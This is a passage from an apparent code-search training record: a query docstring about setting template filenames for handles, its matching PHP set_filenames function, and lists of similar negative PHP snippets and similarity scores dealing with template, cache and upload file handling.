.$segments[count($segments) -1] . '.php';\n\n if ( file_exists($file) )\n return $file;\n else\n throw new \\Exception('Invalid view file');\n }", "public function cache_filename()\n {\n return $this->_name . '_' . $this->id() . '.' . $this->_type;\n }", "function bustCache($public_file_path) {\n $public_file_path = '/' . ltrim($public_file_path, '/');\n $php_public_path = public_path();\n $file_md5 = md5_file($php_public_path . $public_file_path);\n\n $new_path = $public_file_path . '?v=' . $file_md5;\n\n return $new_path;\n }", "public function _get_template_file($file_name = '', $force_storage = '', $JUST_CHECK_IF_EXISTS = false, $RETURN_TEMPLATE_PATH = false)\n {\n $string = false;\n $NOT_FOUND = false;\n $storage = 'inline';\n $file_name = trim(trim(trim($file_name), '/'));\n $l = strlen(YF_PREFIX);\n if (substr($file_name, 0, $l) == YF_PREFIX) {\n $file_name = substr($file_name, $l);\n }\n $stpl_ext = $this->_STPL_EXT;\n $path_ext = pathinfo($file_name, PATHINFO_EXTENSION);\n $path_ext && $path_ext = '.' . $path_ext;\n // Allowed extension overrides\n if ( ! $path_ext || ! in_array($path_ext, $this->ALLOWED_EXTS)) {\n $file_name .= $stpl_ext;\n }\n // Fix double extesion\n $file_name = str_replace($stpl_ext . $stpl_ext, $stpl_ext, $file_name);\n $stpl_name = str_replace([$stpl_ext, $path_ext], '', $file_name);\n\n if ($this->GET_STPLS_FROM_DB || $force_storage == 'db') {\n if ($this->FROM_DB_GET_ALL) {\n if ( ! empty($this->_TMP_FROM_DB[$stpl_name])) {\n $string = $this->_TMP_FROM_DB[$stpl_name];\n unset($this->_TMP_FROM_DB[$stpl_name]);\n } else {\n $NOT_FOUND = true;\n }\n } else {\n $text = from('templates')->where('theme_name', conf('theme'))->where('name', $stpl_name)->where('active', '1')->one('text');\n if (isset($text)) {\n $string = stripslashes($text);\n } else {\n $NOT_FOUND = true;\n }\n }\n $storage = 'db';\n } else {\n $def_theme = $this->_get_def_user_theme();\n $all_tpls_paths = $this->_get_cached_paths();\n $paths = $all_tpls_paths[$stpl_name];\n // Storages are defined in specially crafted `order`, so do not change it unless you have strong reason\n $storages = [];\n $site_path = (MAIN_TYPE_USER ? SITE_PATH : ADMIN_SITE_PATH);\n $theme = conf('theme');\n\n $storages = [\n 'dev',\n 'site_lang',\n 'site',\n 'site_inherit',\n 'site_inherit2',\n 'app_lang',\n 'app',\n 'app_inherit',\n 'app_inherit2',\n 'app_user',\n 'project',\n 'project_user',\n 'framework',\n 'framework_user',\n ];\n $storages = array_filter($storages);\n foreach ((array) $storages as $_storage) {\n if ($force_storage && $force_storage != $_storage) {\n continue;\n }\n $file_path = '';\n $_theme = null;\n if (in_array($_storage, ['app', 'project', 'framework'])) {\n $_theme = $_storage == 'framework' ? MAIN_TYPE : $theme;\n if (isset($paths[$_storage][$_theme])) {\n $file_path = $paths[$_storage][$_theme];\n }\n } elseif (in_array($_storage, ['app_user', 'project_user', 'framework_user']) && MAIN_TYPE_ADMIN && ! in_array($stpl_name, ['main'])) {\n $s = substr($_storage, 0, -strlen('_user'));\n if (isset($paths[$s]['user'])) {\n $file_path = $paths[$s]['user'];\n }\n } elseif ($_storage == 'site') {\n if (isset($paths[$_storage][$_theme])) {\n $file_path = $paths[$_storage][$_theme];\n }\n } elseif (in_array($_storage, ['app_lang', 'site_lang']) && $this->ALLOW_LANG_BASED_STPLS) {\n $lang = conf('language');\n $_theme = $theme . '.' . $lang;\n $s = substr($_storage, 0, -strlen('_lang'));\n if (isset($paths[$s][$_theme])) {\n $file_path = $paths[$s][$_theme];\n }\n } elseif (in_array($_storage, ['app_inherit', 'site_inherit']) && $this->_INHERITED_SKIN) {\n $_theme = $this->_INHERITED_SKIN;\n $s = substr($_storage, 0, -strlen('_inherit'));\n if (isset($paths[$s][$_theme])) {\n $file_path = $paths[$s][$_theme];\n }\n } elseif (in_array($_storage, ['app_inherit2', 'site_inherit2']) && $this->_INHERITED_SKIN2) {\n $_theme = $this->_INHERITED_SKIN2;\n $s = substr($_storage, 0, -strlen('_inherit2'));\n if (isset($paths[$s][$_theme])) {\n $file_path = $paths[$s][$_theme];\n }\n } elseif (in_array($_storage, ['dev'])) {\n //\t\t\t\t\t// Developer overrides\n//\t\t\t\t\t$dev_path = '.dev/'.main()->HOSTNAME.'/';\n//\t\t\t\t\tif (conf('DEV_MODE')) {\n//\t\t\t\t\t\tif ($site_path && $site_path != PROJECT_PATH) {\n//\t\t\t\t\t\t\t$storages['dev_site'] = $site_path. $dev_path. $this->TPL_PATH. $file_name;\n//\t\t\t\t\t\t}\n//\t\t\t\t\t\t$storages['dev_app'] = APP_PATH. $dev_path. $this->TPL_PATH. $file_name;\n//\t\t\t\t\t\t$storages['dev_project'] = PROJECT_PATH. $dev_path. $this->TPL_PATH. $file_name;\n//\t\t\t\t\t}\n }\n if ( ! $file_path || ! $this->_stpl_path_exists($file_path)) {\n continue;\n }\n $string = $this->_stpl_path_get($file_path);\n if ($string !== false) {\n $storage = $_storage;\n break;\n }\n }\n // Last try from cache (preloaded templates)\n if ($string === false) {\n $compiled_stpl = conf('_compiled_stpls::' . $stpl_name);\n if ($compiled_stpl) {\n $string = $compiled_stpl;\n $storage = 'compiled_cache';\n }\n }\n if ($string === false) {\n $NOT_FOUND = true;\n }\n }\n if (DEBUG_MODE) {\n $this->driver->debug[$stpl_name]['storage'] = $storage;\n $this->driver->debug[$stpl_name]['storages'] = $paths;\n }\n if ($RETURN_TEMPLATE_PATH) {\n return $file_path;\n }\n // If we just checking template existance - then stop here\n if ($JUST_CHECK_IF_EXISTS) {\n return ! $NOT_FOUND;\n }\n // Log error message if template file was not found\n if ($NOT_FOUND) {\n trigger_error('STPL: template \"' . $file_name . '\" in theme \"' . conf('theme') . '\" not found.', E_USER_WARNING);\n }\n return $string;\n }", "function template($template_filename) {\n if ( $template_filename[0] == '/' ) {\n $this->template_file = $template_filename;\n } else {\n $this->template_file = $this->module_path.'template/'.$template_filename;\n }\n }", "private function reformatName(string $file) : string\n {\n $name = pathinfo(public_path($file))['filename'];\n $extension = pathinfo(public_path($file))['extension'];\n if (is_numeric($name)) {\n if (strlen($name) == 1) {\n $name = \"00\" . $name . '.' . $extension;\n } elseif (strlen($name) == 2) {\n $name = \"0\" . $name . '.' . $extension;\n } else {\n $name = $name . '.' . $extension;\n }\n } else {\n $name = $name . '.' . $extension;\n }\n return $name;\n }", "private function getCacheFile() {\n return new File($this->rootPath, self::CACHE_FILE);\n }", "function getTemplate($fileName) {\n\n $file = file_get_contents($fileName);\n\n if ($file) {\n\n return $file;\n }\n else {\n echo (\"File not found: \" . $fileName);\n }\n}", "abstract public function getTemplateFile();", "public function getCacheKey($name)\n {\n return $this->findTemplate($name) . '_' . $this->scope;\n }" ]
[ "0.717342", "0.7049174", "0.6740113", "0.64268374", "0.6372178", "0.63082653", "0.6296102", "0.62806195", "0.6265513", "0.62379116", "0.6155986", "0.6120045", "0.60924596", "0.605159", "0.6042739", "0.603763", "0.6031513", "0.59855485", "0.59704006", "0.5958318", "0.59320056", "0.58990735", "0.5883097", "0.5871753", "0.5870671", "0.5839122", "0.58234316", "0.5822346", "0.58177656", "0.57953286", "0.5778946", "0.5775242", "0.5769165", "0.5763925", "0.5763892", "0.5741122", "0.5739149", "0.5733761", "0.5710708", "0.57085615", "0.570126", "0.5696433", "0.56924605", "0.56902", "0.56899655", "0.56861895", "0.56680584", "0.56680286", "0.56351715", "0.56028926", "0.55965924", "0.55916744", "0.55823284", "0.55700827", "0.5559356", "0.55493677", "0.5542264", "0.5536402", "0.553564", "0.5534214", "0.5534214", "0.5531423", "0.5530582", "0.5516105", "0.5511122", "0.5503363", "0.5501294", "0.5497569", "0.54850197", "0.5476331", "0.5473926", "0.5473477", "0.54699534", "0.5461849", "0.5460272", "0.5460211", "0.54576015", "0.5456416", "0.5454857", "0.5446655", "0.5444842", "0.5442571", "0.5439918", "0.5434109", "0.5434026", "0.54330426", "0.5427739", "0.5424267", "0.5421077", "0.54150176", "0.5410691", "0.54090446", "0.54025406", "0.5400076", "0.53939897", "0.53912574", "0.5388845", "0.5386947", "0.5385161", "0.5380897" ]
0.82295346
0
Sets the template filenames for handles. $filename_array should be a hash of handle => filename pairs.
function set_filenames($filename_array) { if (!is_array($filename_array)) { return false; } foreach($filename_array as $handle => $filename) { $this->set_filename($handle, $filename); } return true; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function set_filenames($filename_array)\n\t{\n\t\tif ( !is_array($filename_array) )\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t$template_names = '';\n\t\tforeach ($filename_array as $handle => $filename)\n\t\t{\n\t\t\tif ( empty($filename) )\n\t\t\t{\n\t\t\t\tmessage_die(GENERAL_ERROR, 'template error - Empty filename specified for ' . $handle, '', __LINE__, __FILE__);\n\t\t\t}\n\n\t\t\t$this->filename[$handle] = $filename;\n\t\t\tif ( !empty($this->alt_root) )\n\t\t\t{\n\t\t\t\t$this->files[$handle] = $this->alt_root . $filename;\n\t\t\t}\n\n\t\t\t// doesn't exists : try the main\n\t\t\tif ( !$this->mains[$handle] = (!empty($this->alt_root) && file_exists($this->files[$handle])) )\n\t\t\t{\n\t\t\t\t$this->files[$handle] = $this->root . $filename;\n\t\t\t\t$this->mains[$handle] = false;\n\t\t\t}\n\t\t}\n\n\t\treturn true;\n\t}", "function files_handle_on_email_templates(&$templates) {\n $templates[FILES_MODULE] = array(\n new EmailTemplate(FILES_MODULE, 'new_file'), \n new EmailTemplate(FILES_MODULE, 'new_revision')\n );\n }", "function set_filename($handle, $filename, $xs_include = false, $quiet = false)\n\t{\n\t\tglobal $config;\n\t\t$can_cache = $this->use_cache;\n\t\tif(strpos($filename, '..') !== false)\n\t\t{\n\t\t\t$can_cache = false;\n\t\t}\n\t\t$this->files[$handle] = $this->make_filename($filename, $xs_include);\n\t\t$this->files_cache[$handle] = '';\n\t\t$this->files_cache2[$handle] = '';\n\t\t// check if we are in admin control panel and override extreme styles mod controls if needed\n\t\tif(defined('XS_ADMIN_OVERRIDE') && (XS_ADMIN_OVERRIDE === true) && @function_exists('xs_admin_override'))\n\t\t{\n\t\t\txs_admin_override();\n\t\t}\n\t\t// checking if we have valid filename\n\t\tif(!$this->files[$handle])\n\t\t{\n\t\t\tif(($this->files[$handle] === false) || $xs_include || $quiet)\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tdie(\"Template->make_filename(): Error - invalid template $filename\");\n\t\t\t}\n\t\t}\n\t\t// creating cache filename\n\t\tif($can_cache)\n\t\t{\n\t\t\t$this->files_cache2[$handle] = $this->make_filename_cache($this->files[$handle]);\n\t\t\tif(@file_exists($this->files_cache2[$handle]))\n\t\t\t{\n\t\t\t\t$this->files_cache[$handle] = $this->files_cache2[$handle];\n\t\t\t}\n\t\t}\n\t\t// checking if tpl and/or php file exists\n\t\tif(empty($this->files_cache[$handle]) && !@file_exists($this->files[$handle]))\n\t\t{\n\t\t\t// trying to load alternative filename (usually default)\n\t\t\tif(!empty($this->tpldef) && !empty($this->tpl) && ($this->tpldef !== $this->tpl))\n\t\t\t{\n\t\t\t\t$this->files[$handle] = '';\n\t\t\t\t// save old configuration\n\t\t\t\t$root = $this->root;\n\t\t\t\t$tpl_name = $this->tpl;\n\t\t\t\t// set temporary configuration\n\t\t\t\t$this->root = $this->tpldir . $this->tpldef;\n\t\t\t\t$this->tpl = $this->tpldef;\n\t\t\t\t// recursively run set_filename\n\t\t\t\t$res = $this->set_filename($handle, $filename, $xs_include, $quiet);\n\t\t\t\t// restore old configuration\n\t\t\t\t$this->root = $root;\n\t\t\t\t$this->tpl = $tpl_name;\n\t\t\t\treturn $res;\n\t\t\t}\n\t\t\tif($quiet)\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tif($xs_include)\n\t\t\t{\n\t\t\t\tif($config['xs_warn_includes'])\n\t\t\t\t{\n\t\t\t\t\t//die('Template->make_filename(): Error - included template file not found: ' . $this->tpl . $filename);\n\t\t\t\t\tdie('Template->make_filename(): Error - included template file not found: ' . $filename);\n\t\t\t\t}\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t//die('Template->make_filename(): Error - template file not found: ' . $this->tpl . $filename);\n\t\t\t\tdie('Template->make_filename(): Error - template file not found: ' . $filename);\n\t\t\t}\n\t\t}\n\t\t// checking if we should recompile cache\n\t\tif(!empty($this->files_cache[$handle]) && !empty($config['xs_auto_recompile']))\n\t\t{\n\t\t\t$cache_time = @filemtime($this->files_cache[$handle]);\n\t\t\tif((@filemtime($this->files[$handle]) > $cache_time) || ($config['xs_template_time'] > $cache_time))\n\t\t\t{\n\t\t\t\t// file was changed. don't use cache file (will be recompled if configuration allowes it)\n\t\t\t\t$this->files_cache[$handle] = '';\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t}", "public function set_email_template_directory( $template_array ) {\n array_push( $template_array, 'dokan-admin-new-booking.php', 'dokan-customer-booking-cancelled.php' );\n return $template_array;\n }", "function template($template_filename) {\n if ( $template_filename[0] == '/' ) {\n $this->template_file = $template_filename;\n } else {\n $this->template_file = $this->module_path.'template/'.$template_filename;\n }\n }", "public function setFilename($filename);", "function setFilename($filename);", "public function setFilenameTemplate($template)\n {\n $this->_filenameTemplate = $template;\n\n return $this;\n }", "protected function createFileObject(array $array)\n {\n if (! isset($array['name'])) {\n $output = [];\n\n foreach ($array as $key => $values) {\n if (! is_array($values)) {\n continue;\n }\n $output[$key] = $this->createFileObject($values);\n }\n\n return $output;\n }\n\n return new ReplaceUploadedFile(\n $array['tmp_name'] ?? null,\n $array['name'] ?? null,\n $array['type'] ?? null,\n $array['size'] ?? null,\n $array['error'] ?? null\n );\n }", "function load_array(&$array){ // loading template from array\n\tif (!is_array($array)) system_die('Invalid variable set (must be array)', 'Template->load_array');\n\t$this->template = $array;\n\tunset($this->result);\n\tunset($this->filename);\n}", "public function setTemplate($file);", "protected function fileListTemplateHook(class_module_mediamanager_file $objOneFile, &$arrTemplate) {\n\n }", "protected function setFilename( $filename ){\n \n $this->filename = $filename;\n \n }", "public function testSetFileNames() {\n $myfiles = array('file1.tmp', 'file2.dat');\n $this->up->setFileNames($myfiles);\n $this->assertEquals($myfiles, $this->up->_fileNames);\n }", "protected function setTemplatePaths() {}", "function set_file_objs($file_objs) {\n $this->file_objs = $file_objs;\n $this->update_files = 1;\n }", "private function createFilesFromArray($request, $array)\n {\n foreach ($array as $key => $value) {\n if ($file = $this->client->getResourceHandler($value)) {\n $request->files[] = new FileReference([\n 'field' => $key,\n 'file' => $file,\n ]);\n } elseif (is_array($value)) {\n foreach ($value as $id => $_value) {\n if ($file = $this->client->getResourceHandler($_value)) {\n $request->files[] = new FileReference([\n 'field' => $key,\n 'id' => $id,\n 'file' => $file,\n ]);\n }\n }\n }\n }\n }", "public function setFile ($fileName) {\n\t\t$basedir = $this->app->getTemplateDirectory();\n\t\t$extension = ($this->extension === 'php'? '' : '.' . $this->extension) . '.php';\n\t\t\n\t\t$this->template->setFile([\n\t\t\t$fileName,\n\t\t\t\"{$fileName}{$extension}\",\n\t\t\t\"{$basedir}{$fileName}\",\n\t\t\t\"{$basedir}{$fileName}{$extension}\",\n\t\t]);\n\t}", "function _themepacket_process_filenames(&$files) {\n foreach ($files as $key => $file) {\n \n // This key isn't very useful so we remove it for the sake of keeping our\n // data as simple as possible.\n unset($files[$key]->name);\n \n $data = themepacket_parse_filename($file->filename);\n \n // Derive the path of the file\n $data['path'] = str_replace('/' . $file->filename, '', $file->uri);\n \n $files[$key] = array_merge($data, (array)$file);\n }\n}", "public function setFileName($file);", "public function setFileName($filename)\n {\n $this->filename = $filename;\n }", "public function setFileName($filename)\n {\n $this->filename = $filename;\n }", "public function setFilename($filename)\n {\n $this->filename = $filename;\n }", "public function setFilename($filename) {\n\n\t\t$basename = basename($filename); \n\n\t\tif(DIRECTORY_SEPARATOR != '/') {\n\t\t\t// To correct issue with XAMPP in Windows\n\t\t\t$filename = str_replace('\\\\' . $basename, '/' . $basename, $filename); \n\t\t}\n\t\n\t\tif($basename != $filename && strpos($filename, $this->pagefiles->path()) !== 0) {\n\t\t\t$this->install($filename); \n\t\t} else {\n\t\t\t$this->set('basename', $basename); \n\t\t}\n\n\t}", "public function setTemplate(string $template_name);", "public function setPostFiles(array $post_files) {}", "public function setFilename($filename) {\n\t\t$this->filename = $filename;\n\t}", "public function setFilename($filename) {\n\t\t$this->filename = $filename;\n\t}", "public function setFileName($filename) {\n\t $this->fileName = $filename;\n\t }", "function setFilename( $filename )\n {\n $this->filename = $filename .'.vcf';\n }", "public function setFilename($filename)\n {\n $this->filename = (string) $filename;\n }", "public function setFilename($filename)\n\t{\n\t\t$this->filename = $filename;\n\t}", "public function set_filename($file) {\r\n if ( self::is_smarty_template($file) ) {\r\n throw new Kohana_Exception('Cannot use set_filename to initialise Smarty template :tpl; use View::factory instead',\r\n array(':tpl' => $file));\r\n }\r\n return parent::set_filename($file);\r\n}", "public function set_filename($filepath) {\r\n\t\t$this->filepath = $filepath;\r\n\t}", "public function setTemplateFile($file)\n {\n $this->file_template = $file;\n }", "public function setFilePaths($filepaths)\n {\n $this->filepaths = $filepaths;\n $this->load();\n }", "public function setFileName($filename){\n $this->_fileName = $filename;\n }", "function set_files(&$files){\n $this->_files = $files;\n }", "function set_template($template_name) {\n\t\t$this->template = $template_name;\n\t}", "public function fromFiles($files, string $templates): void\n {\n if (is_array($files)) {\n foreach ($files as $file) {\n $this->fromFiles($file, $templates);\n }\n } elseif (\\is_string($files)) {\n $file = new File($files);\n\n if ($file->exists()) {\n $this->section = new Section($file->getArray());\n }\n }\n\n $this->route();\n }", "public function setTemplateVars($varsArray) {\n if (is_array($varsArray)) {\n foreach ($varsArray as $varName => $varValue) {\n $this->templateVars[$varName] = $varValue;\n }\n }\n }", "private function hc_portfolio_prepare_file_paths(&$array_of_file_data){\n\t\t$files = &$array_of_file_data;\n\n\t\tforeach($files as &$file){\n\t\t\t\n\t\t\tforeach($file as $field_name => &$field){\n\t\t\t\t//Is this an attachment field? Wouldn't want to accidentally just look up a random URL for what is supposed to actually be a number.\n\t\t\t\tif(!in_array($field_name, self::$file_field_names)) continue;\n\t\t\t\tif($field == 0) {\n\t\t\t\t\t//remove unused URL fields\n\t\t\t\t\tunset($file[$field_name]);\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$field = $this->un_ms_file_rewrite_path(wp_get_attachment_url($field));\n\t\t\t\t\n\t\t\t}\n\t\t}\t\t\t\n\t}", "function setFHtgroup($filename){\n $this->fHtgroup=$filename;\n }", "function setFHtgroup($filename){\n $this->fHtgroup=$filename;\n }", "public function setPaths(array $paths)\n {\n $this->paths = $paths;\n }", "public function setPaths(array $paths)\n {\n $this->paths = $paths;\n }", "public function setKeyFilename($filename)\n\t{\n\t\t$this->keyFilename = $filename;\n\t}", "public function setIdentifier(){\n\n \t$this->fileIdentifier = $this->getIdentifier();\n }", "protected static function resource($files, $template)\n {\n $template = self::$templates[$template];\n\n if (is_array($files)) {\n foreach ($files as $file) {\n echo sprintf($template, $file) . \"\\n\";\n }\n } else {\n echo sprintf($template, $files) . \"\\n\";\n }\n }", "protected static function resource($files, $template)\n {\n $template = self::$templates[$template];\n\n if (is_array($files)) {\n foreach ($files as $file) {\n echo sprintf($template, $file) . \"\\n\";\n }\n } else {\n echo sprintf($template, $files) . \"\\n\";\n }\n }", "protected static function resource($files, $template)\n {\n $template = self::$templates[$template];\n\n if (is_array($files)) {\n foreach ($files as $file) {\n echo sprintf($template, $file) . \"\\n\";\n }\n } else {\n echo sprintf($template, $files) . \"\\n\";\n }\n }", "abstract public function templates(array $templates);", "function setFHtgroup($filename){\r\n\t\t$this->fHtgroup=$filename;\r\n\t}", "public function setMessageTemplates(array $messages)\n {\n foreach ($messages as $key => $message) {\n $this->setMessageTemplate($key, $message);\n }\n }", "function define($handle, $template)\n {\n $this->mBlockHandles[$handle] = yats_define($this->mPath . $template, $this->mPath );\n\n yats_assign($this->mBlockHandles[$handle], $this->mGlobalAssignArray);\n\n foreach($this->mGlobalHideSectionArray as $key => $hidden) {\n yats_hide($this->mBlockHandles[$handle], $key, $hidden);\n }\n\n $this->mBlockKeys = array($handle => array());\n }", "public function setComponent($name , $filename)\n {\n $this->component[$name] = $filename;\n }", "function setFilename($key);", "public function setTemplateFilePath($templateFilePath) {\n $this->templateFilePath = $templateFilePath;\n }", "protected function auto_register_files()\r\n\t\t{\r\n\t\t\t// initialize variables\r\n\t\t\t$level = 0;\r\n\t\t\t\r\n\t\t\t// look through each director\r\n\t\t\tforeach( $this->paths as $i => $path )\r\n\t\t\t{\r\n\t\t\t\t// initialize variables\r\n\t\t\t\t$j \t\t= $level + 1001;\r\n\t\t\t\t$files \t= glob( \"{$path}*\" . self::REAL_EXT );\r\n\t\t\t\t$len \t= strlen( self::REAL_EXT );\r\n\t\t\t\t\r\n\t\t\t\tforeach( $files as $f )\r\n\t\t\t\t{\r\n\t\t\t\t\t// determine handle\r\n\t\t\t\t\t$file_name \t= substr( $f, 0, strlen( $f ) - $len );\r\n\t\t\t\t\t\r\n\t\t\t\t\tif ( strpos( $file_name, $this->local ) !== false )\r\n\t\t\t\t\t\t$file_name = substr( $file_name, strlen( $this->local ) );\r\n\t\t\t\t\t\r\n\t\t\t\t\t$handle \t= $i == self::ROOT_PATH ? strtoupper( self::ROOT_PATH ) . \"_\" : \"\";\r\n\t\t\t\t\t$handle \t.= preg_replace( \"/[^\\w]/\", \"_\", strtoupper( $file_name ) );\r\n\t\t\t\t\tdefine( $handle, $handle );\r\n\t\t\t\t\t/* The old page id number define( $handle . '_PAGEID', $j );*/\r\n\t\t\t\t\t\r\n\t\t\t\t\t// get rid of system directories\r\n\t\t\t\t\tif ( strpos( $file_name, $this->local ) !== false )\r\n\t\t\t\t\t\t$file_name = substr( $file_name, strlen( $this->local ) );\r\n\t\t\t\t\t\r\n\t\t\t\t\t// define properties\r\n\t\t\t\t\t$this->files[ $handle ] = $file_name;\r\n\t\t\t\t\t$this->urls[ $handle ] = $this->url . str_replace( \"\\\\\", \"/\", $file_name );\r\n\t\t\t\t\t$j++;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t// increment for next path\r\n\t\t\t\t$level += 1000;\r\n\t\t\t\t$j = 1;\r\n\t\t\t}\r\n\t\t}", "public function setTemplateRootPaths(array $templateRootPaths)\n {\n $this->templateRootPaths = $templateRootPaths;\n }", "public function setFileName() {\n\t\t$name = 'color_' . $this->width . 'x' . $this->height;\n\t\tforeach ($this->colors as $color) {\n\t\t\t$name .= '_' . strtolower(preg_replace('/^#/', '', $color));\n\t\t}\n\t\t$name .= '.png';\n\t\t$this->fileName = $this->tempDir . $name;\n\t}", "public function createByFiles($files_array = array(), $customHeaders = array()){\n\t\t$_api = new API('',true);\n\t\t$response = $this->createByType($files_array, $_api, 'FILES', $customHeaders);\n\t\t$response_success = $response['response']['Success'];\n\t\t$success_processes = array();\n\t\tforeach ($response_success as $process_response){\n\t\t\tarray_push($success_processes, new CopyleaksProcess($process_response['ProcessId'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$process_response['CreationTimeUTC'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$this->loginToken->authHeader(),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$this->typeOfService,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$process_response['Filename']));\n\t\t}\n\t\t$response_errors = $response['response']['Errors'];\n\t\t$errors = array();\n\t\tforeach ($response_errors as $process_response){\n\t\t\tarray_push($errors, new Errorhandler((int)$process_response['ErrorCode'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t $process_response['ErrorMessage'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t $process_response['Filename']));\n\t\t}\n\t\treturn array($success_processes, $errors);\n\t}", "public function setHeader($array) {\n $this->colName= $array;\n $this->headerWritten= FALSE;\n }", "protected function createTestFiles(array $files)\n {\n foreach ($files as $file) {\n $result = fopen(__DIR__ . '/../../../files/' . $file, 'c');\n }\n }", "public function setFileName($fileName);", "public static function setDateFormats(array $array) {\n $settings = self::getSettings();\n \n $translations = self::getTranslations();\n if(isset($array[$settings->language])) {\n $settings->dateformat = json_encode($array[$settings->language]);\n unset($array[$settings->language]);\n }\n foreach($array as $language => $dateformats) {\n $translations[$language] = $dateformats;\n }\n self::setTranslations($translations);\n }", "public function handle($filename, array $methodArray = array()) {\n $pix = TMUtil::getSuffix ( $this->name );\n return $pix;\n }", "function setFile($filename, $filetitle = '') {\n\t\tif ($filetitle == '') {\n\t\t\t$filetitle = basename($filename);\n\t\t}\n\t\t$binary = file_get_contents($filename);\n\t\t$this->setBinContent($binary);\n\t\t$this->lobSub->lobFilename = $filetitle;\n\t}", "public function add_existing_files( $filenames ) {\r\n\t\t\t$filenames = (array)$filenames;\r\n\t\t\tfor( $i = 0, $count = count( $filenames ); $i < $count; $i++ ) {\r\n\t\t\t\t$file = self::FILE_OBJECT_TEMPLATE;\r\n\t\t\t\tif ( is_file( $filenames[$i] ) ) {\r\n\t\t\t\t\t$pathinfo = pathinfo( $filenames[$i] );\r\n\t\t\t\t\t\r\n\t\t\t\t\t$file['path'] = $pathinfo['dirname'] . '/' . $pathinfo['basename'];\r\n\t\t\t\t\t$file['dirname'] = $pathinfo['dirname'];\r\n\t\t\t\t\t$file['origname'] = $pathinfo['basename'];\r\n\t\t\t\t\t$file['name'] = $pathinfo['filename'];\r\n\t\t\t\t\t$file['savename'] = $pathinfo['basename'];\r\n\t\t\t\t\t$file['isnew'] = false;\r\n\t\t\t\t\t$file['ext'] = $pathinfo['extension'];\r\n\t\t\t\t\t\r\n\t\t\t\t\t$this->process_file_add( $file );\r\n\t\t\t\t} else {\r\n\t\t\t\t\t$file['path'] = $filenames[$i];\r\n\t\t\t\t\t$this->add_invalid_file( $file, self::ERR_FILE_EMPTY ); \r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}", "public function multipleFilesTemplate($value) {\n return $this->setProperty('multipleFilesTemplate', $value);\n }", "function setTemplate($template);", "public function setFilePath($arrFilePath) {\n\t\t\t$this->arrFilePath = $arrFilePath;\n\t\t}", "public function setFiles(array $files)\n {\n $this->_files = $files;\n return $this;\n }", "public function LoadTemplate($sFilename) {\t\t\n\t}", "public function setTemplatePathAndFilename($templatePathAndFilename)\n {\n $this->fluidTemplate->setTemplatePathAndFilename($templatePathAndFilename);\n }", "public function setFilename($filename) {\n $this->addArgument(self::getRRDFilePath($filename));\n }", "function set_template( $template_file = 'template.php' )\n {\n // make sure that $template_file has .php extension\n $template_file = substr( $template_file, -4 ) == '.php' ? $template_file : ( $template_file . \".php\" );\n\n $this->template = \"../../{$this->settings->root_folder}/themes/{$this->settings->theme}/{$template_file}\";\n }", "public static function set_config(array $config)\n\t{\n\t\tforeach ($config as $key => $value)\n\t\t{\n\t\t\tif ($key == 'template')\n\t\t\t{\n\t\t\t\tstatic::$template = array_merge(static::$template, $config['template']);\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tstatic::${$key} = $value;\n\t\t}\n\t\t\n\t\tstatic::initialize();\n\t}", "public function __construct(Pagefiles $pagefiles, $filename) {\n\n\t\t$this->pagefiles = $pagefiles; \n\t\tif(strlen($filename)) $this->setFilename($filename); \n\t\t$this->set('description', ''); \n\t\t$this->set('tags', ''); \n\t\t$this->set('formatted', false); // has an output formatter been run on this Pagefile?\n\t\t$this->set('modified', 0); \n\t\t$this->set('created', 0);\n\t\t$this->set('filesize', 0); \n\t\t$this->set('created_users_id', 0);\n\t\t$this->set('modified_users_id', 0);\n\t}", "public function setFiles($files)\n {\n if (is_array($files))\n $this->files = collect($files);\n else\n $this->files = $files;\n }", "public function parse (array $file_names);", "public function before_resource_combine( $array )\n\t{\n\t\tif ( $array['type'] != 'css' )\n\t\t\treturn;\n\n\t\tforeach( $array['files'] as $file )\n\t\t{\n\t\t\t//Only deal with CSS files\n\t\t\tif ( strpos($file, '.css') === false )\n\t\t\t\tcontinue;\n\n\t\t\tif ( strpos($file, '@') !== false )\n\t\t\t\t$file = theme_resource_url(str_replace('@', '', $file));\n\n\t\t\t//Get SASS and CSS filepaths\n\t\t\t$css = PATH_APP . $file;\n\t\t\t$sass = substr($css, 0, strlen($css)-4).'.sass';\n\t\t\t$extension = 'sass';\n\t\t\tif ( !file_exists($sass) )\n\t\t\t{\n\t\t\t\t$sass = substr($css, 0, strlen($css)-4).'.scss';\n\t\t\t\t$extension = 'scss';\n\t\t\t}\n\n\t\t\tif ( !file_exists($sass) )\n\t\t\t\tcontinue;\n\n\t\t\tself::compile_sass($sass, $extension, $css);\n\t\t}\n\t}", "public function setPropArray($array)\n {\n $this->engine->assign($array);\n }", "public function setFileName( $sFileName ){\n $this->sFileName = $sFileName;\n }", "protected function generateFilePaths()\r\n {\r\n $filename = $this->filename;\r\n\r\n $this->validateStoragePath();\r\n\r\n $path = $this->storagePath . DIRECTORY_SEPARATOR;\r\n\r\n $this->htmlPath = $path . uniqid('pdf-', true).'.html';\r\n\r\n $this->pdfPath = $path . $this->filename . '.pdf';\r\n }", "public function setTemplate($template_string){\n\t\t$this->template = $template_string;\n\t}", "private function _setFileObject() {\n try {\n $fileArry = $_FILES;\n $_FILES = array();\n\n $fName = $fType = $fTmpName = $fErr = $fSize = array();\n foreach ($fileArry as $key => $val) {\n $fArr = explode('_', $key);\n $fKey = $fArr[0];\n $fPos = $fArr[1];\n\n $fName[] = $val['name'];\n $fType[] = $val['type'];\n $fTmpName[] = $val['tmp_name'];\n $fErr[] = $val['error'];\n $fSize[] = 